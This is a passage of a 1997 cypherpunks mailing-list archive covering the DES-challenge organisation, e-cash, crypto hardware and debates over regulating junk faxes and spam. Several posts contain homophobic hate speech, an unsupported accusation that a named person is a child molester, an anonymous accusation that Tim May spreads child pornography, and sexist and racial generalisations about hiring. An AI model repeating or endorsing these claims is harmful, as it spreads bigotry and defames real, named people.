the option of simply using a different service.

	Thus with compuserve, they have the right (as a private company)
to refuse to deliver what ever they wish. And their users have the right 
to go elsewhere. 

> Getting the courts and the regulators involved in deciding what speech is
> junk and what is not junk is unconstitutional, which was my earlier point.

	Which I argee with.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 15 Feb 1997 11:35:51 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702152332.VAA29132@prometheus.hol.gr>
MIME-Version: 1.0
Content-Type: text/plain


I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
for their boards. However, last I checked with them (about half a year ago)
the price of the boards was pretty steep -- of the order of $1K. 

Anyway, if the boards Peter is referring to are ready in the next couple 
of months, I volunteer to write drivers for Linux and *BSD*.

/ji




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Feb 1997 13:19:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199702152040.VAA19964@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timothy Mayo possesses is that 
cultivated from his foreskin scrapings.

          \\\^^^^^///
           = 0   0 =
        -o00--( )--00o-- Timothy Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Sat, 15 Feb 1997 15:58:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <199702130157.RAA13355@toad.com>
Message-ID: <Pine.3.89.9702152248.O1276-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Hal Finney wrote:

> A simple idea we have discussed for full anonymity uses the idea of
> exchanging coins at the bank.  You make an anonymous connection to
> the bank, supply some ecash you have received along with some blinded
> new ecash.  The bank verifies that the ecash is good and signs your
> blinded ecash, sending it back to you.  You unblind it and have good,
> fresh smelling ecash which you can keep, spend, or later deposit in
> your account.

Isn't this the way that 'Magic Money' works? You don't have to open an
account at the bank, you simply exchange the cash you receive for new cash
which you can then spend.

	Mark

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 15:09:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) DES challenge organisation
Message-ID: <199702152256.WAA00403@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



An announcement forwarded to me (due to being on des-challenge mailing
list I think) of proposed organisation for breaking RSADSI's DES
challenge.

Those interested in participating might wish to join the lists
mentioned.

In addition the list: des-challenge@muffin.org is for discussion of
the DES challenge, and can be subscribed to by sending email to
majordomo@muffin.org.

-Adam

======================================================================
Subject: Announcement: Organisation Committee
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: 15 Feb 1997 18:27:40 +0000

Hi!

The six volunteers who answered the call for a committee of
management have got together to try to help 'steer' the DES challenge.
We have considered the available options of proceeding, and we kindly
ask everyone interested in this project to follow our proposals, to
avoid waste of efforts.

1. The attempt to break the key will be coordinated. We chose this
   mainly because we can make a political statement. We don't want it
   to be a race for money.
   
   Each task will be handled by logically separate servers, some of
   which with be replicated and run as a hierachy. The protocol will
   use UDP, although there will be gateway servers for other protocols
   (such as HTTP, SMTP, FAX, etc). We hope that one of the first
   requests for a key range will be from parties interested in using a
   "random" approach -- we would appreciate some discussion on how
   large their ranges should be.

2. There will be one consistent WWW structure for the project. It does
   not have to managed by a single person. This structure should
   provide statistics, information for developers, interested users
   and perhaps even for the press. Several mirrors and translations
   will be started soon. The starting point is:
	http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/]
   The url in brackets has to be used till we get the final subdomain.
   Likewise for the rest of this document.

3. The work of the different groups should be stated and coordinated
   on the page http://www.des.crypto.org/people.html.
   [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated
   parallel developmemt. Please write to Thomas S. 
   <webmaster@mail.des.crypto.org> [webmaster@fh28.fa.umist.ac.uk] 
   if you what want to be mentioned on this page. 

3a. Several mailing lists have been set up for the different groups: 

des-coding	for the actual DES routine and optimisation
des-networking	for the network code and protocol
des-www		for www contributions and mirrors
des-pr		for press contact, translations etc (like challenge-pr)
des-misc	:-)
des-announce	moderated, important information for users of the client

List address: <list>@lists.des.crypto.org [@xtn.net] 
To subscribe, send mail to majordomo@lists.des.crypto.org [@xtn.net] 
with in the body of the message (several actions allowed): 
   subscribe <list> 
Achives available (see homepage).

4. The actual DES routine has to be written and optimised. We ask
   developers to participate and coordinate their efforts using the
   mailing list des-coding. For obvious reasons, developers outside
   the USA are prefered, but "publication" of algorithms seems to be
   a legal way go get around. Please do not use this list to 
   distribute crypto code.

5. The prize money will be split equally between Gutenberg and EFF.
   There is a possibility of using part of it for stickers or
   something similar, but don't count on it.

We hope to get a working system up and running ASAP. The fact alone
that DES is seriously challenged (with a reasonable time frame) should
give us quite some publicity (by the time the system is ready). If we
can make use of that, we will have significantly more client than for
the 48 bit key.

The organisation committee:

Piete Brooks <Piete.Brooks@cl.cam.ac.uk>
Jered Floyd <jered@mit.edu>
Tim Newsome <drz@froody.bloke.com>
Germano Caronni <caronni@tik.ee.ethz.ch>
Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Thomas S. <ths@fh28.fa.umist.ac.uk>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Feb 1997 15:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <199702152302.XAA00412@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Thomas S <ths@fh28.fa.umist.ac.uk> writes:
> [...]
>
> 5. The prize money will be split equally between Gutenberg and EFF.
>    There is a possibility of using part of it for stickers or
>    something similar, but don't count on it.

Not a good idea.

How can this be enforced?  The RSADSI DES challenge is open to all
comers, and how do you prove that someone who finds the key found it
through this group effort?

I have a suspicion many people would be tempted to fill in the RSA
challenge form and email it in themselves.  $10,000 is a fair amount
of money.

I know I would be tempted.  I have been running Svend Olaf's DES code,
and my intention in the unlikely event that I hit the key had been to
claim the money.

How does it hurt the publicity if the actual individual who finds the
key takes the money?  Surely it adds excitement to the story?

In fact it would provide people with a possibly more powerful
incentive to try to break the key in the first place -- in the hopes
of winning the prize!  $10,000 means more to a lot of people than
opposing ITAR/EAR, and participating in a technical challenge.  To
start with a lot of people who's CPUs we could be using don't even
know what ITAR/EAR are!

> We hope to get a working system up and running ASAP. The fact alone
> that DES is seriously challenged (with a reasonable time frame)
> should give us quite some publicity (by the time the system is
> ready). If we can make use of that, we will have significantly more
> client than for the 48 bit key.

I would have thought announcing that $10,000 can be won by running
easy to use windows software on a wide selection of newsgroups would
get you lots of CPUs!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 21:23:13 -0800 (PST)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Where is the reorg FAQ?
In-Reply-To: <199702160433.UAA27937@netcom20.netcom.com>
Message-ID: <199702160520.XAA23763@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike Duvos wrote:
> 
> Anil Das writes:
> 
> > Btw, one of our many news servers has alt.cypherpunks, but it has very
> > low traffic. I doubt people are not posting. Must be alt.cypherpunks
> > missing from some upstream sites.
> 
> To spam propagation islands, it might be a good idea to crosspost to
> alt.privacy when posting to alt.cypherpunks.  It will probably take a week
> or two before everyone who is going to create the group on their news
> server gets around to it. 
> 

Better yet, crosspost to misc.misc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 23:20:22 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
In-Reply-To: <199702160610.BAA13975@homer.iosphere.net>
Message-ID: <v03007800af2c66413211@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:

>Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
>out rules limiting the time of day, etc. for phone spam (voice or
>fax).  Does anyone out there have the specifics of the CRTC regs?

"Spam" has rapidly become one of those overused, overloaded, meaningless
words. Everything bad on the Net these days is labelled "spam."

For the phone example in Canada, just what is "spam"?

-- Is it the semi-traditional definition of "spam," i.e., a phone call made
to thousands of sites? (At the same time? Sequentially? How?)

-- Is it a robo-dialer, with no human at the other end?

-- Or is it merely an "unwanted phone call"?


As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
(Though obviously the courts and prisons are not about to be filled up with
people who committed the heinous crime of making an unrequested phone call.)

The danger of all "junk mail" and "junk phone call" laws is that they give
power to the government to decide on what is junk and what is not.

Not something we should support.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac <speidel@lightspeed.net>
Date: Sat, 15 Feb 1997 23:20:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <3306B9C0.2B23@lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE CYPHERPUNKS lspeiel@lightspeed.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 22:25:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702160625.AAA11443@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter J. Capelli writes:

 >  I pay for my phone service;

I assume you pay a flat rate and not by the incoming fax!

 >  I pay for my fax, toner, and
 > paper.  If they use my property without getting permission first, 

So, if a person uses a computer fax-modem and, therefore, paper,
toner, etc. aren't used, does this change the situation?  

Suddenly we're very close to the situation of junk-email.  (Except
that the sender of the junk fax incurs long-distance charges, if there
are any, not to mention he pays for the phone service the same as you 
do)

 > I believe
 > that *is* ( or should be ) illegal.  

"There should be a law!"  5 of the ugliest words in the English
language when put together.

Look.  I understand your sentiment and junk faxes piss me off as well,
but the cost of government regulation is too high in my opinion.  As
I'm sure you're aware, government does a *great* job of creating
sensible and useful regulations.

Unfortunately, fax machines can't distinguish the text of messages, so
you can't do filtering or bounce messages, etc.  (Although I have been
known to send a nasty reply fax or two.  And I never fail to call the
send of the fax to complain and have the junk faxes terminated)


 > Your argument that my plugging a fax 
 > machine itno a phone line I know it will answer, even if it is unauthorized,
 > is tantamount to saying that if I leave my keys in my car, anyone can take
 > it, and legally so!  While it may be foolish to do that, being
 > foolish is not
 > a crime 

You purchased the fax equipment.  Why should the government regulate
its usage for you?  

Ideally, the manufacture of fax machines which are able to
authenticate a sender in some manner before permitting the actually
permitting transmission of the fax out to paper would likely eliminate
junk faxes.

Of course, this would involve strong encryption.  And -- wouldn't you
know it! -- that's covered by a range of confusing and threatening
federal regulations



-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:10:08 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160609.BAA13953@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 paul@fatmans.demon.co.uk wrote:

<earlier discussion excised>

> Not my point, I didn`t say I would refuse, as in my example, to have 
> my car serviced by a woman, rather, that I would not feel comfortable 
> doing so. This is not prejudice, it is a statistical judgement based 
> on the fact that, as a percentage, I know few women who are competent 
> car mechanics but I know a number of men who, by the same criteria, I 
> would call competent. 

Acknowledged, agree to disagree :-).  (Very few of my male friends
can do more than sew on a button, but that doesn't weight my choice
of a *professional* tailor.)  It did, however, sound like you were
agreeing with the previous poster's (more extreme) position.

> Very much so, I did not intend, even though my post may have appeared 
> that way, for one minute to suggest that women were *unable* to carry 
> out certain tasks, just that they seem less suited to certain 
> vocations that others. For example, I know a number of good female 
> History or English students but very few good female mathematics 
> or computer science students. This is not, I believe, because women are 
> not "suited" to computer science rather that they have never been encouraged 
> at high school etc. to learn about such subjects which are seen as male preserves. 
> I wholeheartedly believe this should not be the case, and my original 
> post may have been misleading, I just believe that in the current 
> system very few women do become good at science/technical subjects.

Agreed (sadly) that there is a dearth of role models like Mme. Curie
or Roberta Bondar.

There is also an unfortunate "geek stigma" often attached to those
who are good at math or science (male or female). Whether this stigma
discourages more girls than boys is questionable (psychology thesis,
anyone?), but it has probably resulted in good-math-potential brains
taking economics (or whatever) instead.  Fewer competitors for the
56-bit prize, but also fewer brains thinking up better PRNGs.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:10:23 -0800 (PST)
To: dthorn@gte.net
Subject: Re: More on digital postage
Message-ID: <199702160610.BAA13975@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 Dale Thorn wrote:

> jim bell wrote:
>
> > But having an address, and a walkway, and a doorbell is generally considered
> > if not explicit permission, but at least toleration of the idea that
> > somebody can walk up and knock on the door, etc.  Having a telephone with a
> > number that anyone can dial is going to result in some level of intrusion.
> > Having a fax machine is a similar issue, unless technology provides a way to
> > block unwanted faxes.
> 
> There are some neato methods to deal with the door and the phone,
> but I haven't investigated faxes since I don't run one at home.

Boring but it works: There are plenty of fax-to-PC programs out
there.  Anyone can save *lots* of trees by viewing faxes on the
screen before printing the useful page(s).  Yes, I know, this means
human intervention, but so does crumpling up the ***BUY NOW***
garbage, tossing it at the recycle bin, missing, cursing, etc.

Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
out rules limiting the time of day, etc. for phone spam (voice or
fax).  Does anyone out there have the specifics of the CRTC regs? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 15 Feb 1997 23:51:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <v03007800af2c66413211@[207.167.93.63]>
Message-ID: <199702160754.BAA06052@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

 > "Spam" has rapidly become one of those overused, overloaded, 
 > meaningless words. Everything bad on the Net these days is labelled
 > "spam."

The term "spam" has its origins in the well-known Monty Python
Viking sketch, where a diner has breakfast menu offerings such as

          Spam, spam, spam, spam, eggs, and spam. 

This sequence of one repeated thing, with an occasional something 
else, reminds us of how our news spool looks after spam has happened. 

> For the phone example in Canada, just what is "spam"?

> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)

> -- Is it a robo-dialer, with no human at the other end?

Calling one person a thousand times is certainly spam.  Calling
a thousand different people is probably "Excessive Multiple Calling",
or some such acronym. 

> -- Or is it merely an "unwanted phone call"?

This is definitely not spam. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)

If someone is calling me every day, and I ask them nicely to stop, 
continued calling should be illegal harrassment.  If I've never heard
from them before, then a couple unwanted calls aren't a big deal. 

The same principle should apply if someone decides they have a
Constitutional right to bang on my front door at 6 am each and every
morning.

> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

> Not something we should support.

I wouldn't mind laws against "repeated unwanted communication."  That
way I decide what is and is not junk, and the perpetrator is on notice
that further waste of my time, fax paper, phone line, or mailbox
space will not be viewed benevolently. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 15 Feb 1997 23:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam, Spam, Digital Postage, and Spam
Message-ID: <199702160756.BAA06103@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Sun, 16 Feb 1997 03:39:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks.* groups make primenet.com
Message-ID: <3.0.16.19970216054024.2b6f878a@mailhost.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Primenet.com has picked up the alt.cypherpunk feed.
And, there was spam (yum, yum) on it already.

Carol Anne Cypherpunk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Uncensored from heavily.censored.org

iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY
okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+
p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv
hPSSApmGuys=
=mlts
-----END PGP SIGNATURE-----

Member Internet Society  - Certified BETSI Programmer  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.42.112.96
My Homepage
The Cyberdoc
***********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 15 Feb 1997 22:07:33 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <3305FA8F.3B5D@gte.net>
Message-ID: <199702160607.XAA28162@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970215:1003 Dale Thorn <dthorn@gte.net> said:

+Vladimir Z. Nuri <vznuri@netcom.com> said:

+> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
+> the logical conclusion of your views playing out before you. acrimony,
+> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

+Perhaps you should turn your talents to writing country songs.

    and if I play it backwards I get my dawg, my truck, and my gittar back.

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP
nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL
IWwfRAR6BJfcjyvQSzkG/Pq4R7FYvyLoSAqwsYLvlWvC35kiYwwjll9/zprLQbWq
RHlrPaY54EU=
=I9gB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 16 Feb 1997 04:54:45 -0800 (PST)
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Subject: Re: Crypto code published in magazines
In-Reply-To: <199702160658.WAA27706@toad.com>
Message-ID: <199702161254.HAA10775@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Gutmann writes:

: I'm trying to find instances of crypto code published in computer magazines i
: n 
: the last few years.  I know of Blowfish in DDJ, are there cases of more 
: mainstream computer mags like Byte publishing crypto code (I know Byte did DE
: S 
: in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
: replies directly to me, nntp.hks.net seems to have died :-(.
:  
: Peter.

If there are any responses I would be very interested in seeing them
too.

Thanks,
Peter
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 16 Feb 1997 08:43:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale: What a laff!
Message-ID: <199702161643.IAA17153@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 15 Feb 1997 18:42:11 -0800
From: Dale Thorn <dthorn@gte.net>

Dale sagely wrote:

:Wine and cheese are the key.  You hit that one on the head.  I tried
:those Mensa parties in Beverly Hills a few times.

Oh what a kidder this Dale is.  At Mensa party no less!!

Whatta farce!

Still love you fella.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Sun, 16 Feb 1997 09:51:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <199702161740.JAA06581@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 16 Feb 1997 07:18:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Degausser
Message-ID: <199702161518.KAA10019@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C. May's babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions 
and in JPEG format), ethnic slurs, and racial epithets.

         _
        / '
       |
    /><oo><\  Tim C. May
   //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 05:58:03 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re:
Message-ID: <856100903.115099.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> > however, as long as they are technical rather than legal...
> 
> Paul's sexist comments are very interesting - I hope to find more time to
> comment on them too. I don't know if they have the same kind of "affirmative
> action" in the U.K. that they have in the U.S. - here if you find a woman
> in the position of authority, there's a good chance that she was promoted
> ahead of more qualified men to meet some quota, and is therefore incompetent.

We do not have such laws as far as I`m aware (I try to know as little 
as possible about law and finance/econimics as I find them intensely 
boring, even if they are necessary knowledge as a proponent of 
freedom of action and speech) but in my experience a number of 
employers promote women ahead of men in order to avoid costly 
industrial tribunals brought for discrimination. I also believe for 
the same reasons a lot of known homosexuals, blacks, <insert minority 
group of choice here> are promoted ahead of more qualified white, 
straight males.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 07:26:21 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Dangerous Homosexuals on Usenet
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970216101738.2356C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Read this and you will understand why we must 
take heed of these dangerous homosexuals who have
infiltrated Usenet in the past five years, ever since
David Lawrence took over.  J.D. Falk, the perverted
child molester from the D.C. area has had a lot to do with
this take-over by the homosexuals.  Read Dr. Vulis's account of
the last 10 years here:

On Sat, 15 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Sat, 15 Feb 97 08:30:15 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Against Moderation <antimod@nym.alias.net> writes:
> 
> > aga <aga@dhp.com> writes:
> >
> > > > > ...  Remember the previous cypherpunk who stated that the
> > > > > gays "created and run usenet."
> > > ...
> > > It was on the list last month, and the person was serious and correct.
> > > That is exactly why we must now kill all of usenet as it stands, for
> > > a new heterosexual beginning.
> > >
> > > ...  We are here to
> > > "rip new assholes" in the faggots who have ruined the net thus far,
> > > and to take over and make this net heterosexual oriented.
> >
> > So if I follow your argument, gays created and run usenet, and have
> 
> Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created
> Usenet. (That is, some of the people who created Usenet may well have been
> sexually attracted to people of the same sex in real life - I don't have a
> problem with that - but none of them were "Usenet faggots" who tried to
> suppress free speech). Now the homos, who ruined Fidonet through
> censorship and UDP-like wars, are trying to take over Usenet with the same
> disasterous results.
> 
> > also ruined it thus far.  Can you just clarify a few points?  I'm
> > trying to follow your premise here [which I don't necessarily
> > believe], and it seems contradictory.
> >
> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?
> 
> >   * If Usenet was created and ruined by terrible people, what exactly
> >     is your interest in it?  Why don't you just create an alternate
> >     news network.  You can easily do this using software these gay
> >     people have so graciously given you the source for, and then you
> >     could be the authority over the entire heterosexual news
> >     hierarchy.
> 
> We were here first. I've been on Usenet for > 10 years, before most of the
> scum that's trying to ruin it now. Besides, the homos will try to ruin any
> alternative forum they think is used by their "enemies". Look how they've
> been flooding the freedom-knights mailing list with shit.
> 
> >   * If people you consider gay can't hold any position of authority on
> >     the internet, why do you acknowledge their authority by trying to
> >     fight them in particular?  I mean, what authority do these gay
> >     people have over a gay, ruined usenet that's so important you need
> >     to rip new assholes in them?
> >
> > I just don't understand whom you are fighting over what and why.
> 
> Good question. I'm fighting against _actions that suppress speech - such
> as complaints to postmasters that result in plug-pulling; or forged cancels.
> If false complaints were universally ignored - cancels junked, postmaster
> complaints junked, as they should be, then these actions would be just
> speech, therefore not worthy of suppression. I don't want the homos to be
> silenced, merely rendered impotent to silence others.
> 

The queer named J.D. Falk and the little queer called
Timmy Skirvin are also to blame for much of the shit we now
have present today.

Trust only Dave Hayes for an uncensored full-feed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:28:56 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Digest needed
In-Reply-To: <199702152355.PAA00282@songbird.com>
Message-ID: <Pine.LNX.3.95.970216112037.2356H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Kent Crispin wrote:

> Date: Sat, 15 Feb 1997 15:55:34 -0800 (PST)
> From: Kent Crispin <kent@songbird.com>
> Reply-To: freedom-knights@jetcafe.org
> To: Dale Thorn <dthorn@gte.net>
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org,
>     freedom-knights@jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Dale Thorn allegedly said:
> > 
> [...]
> > 
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
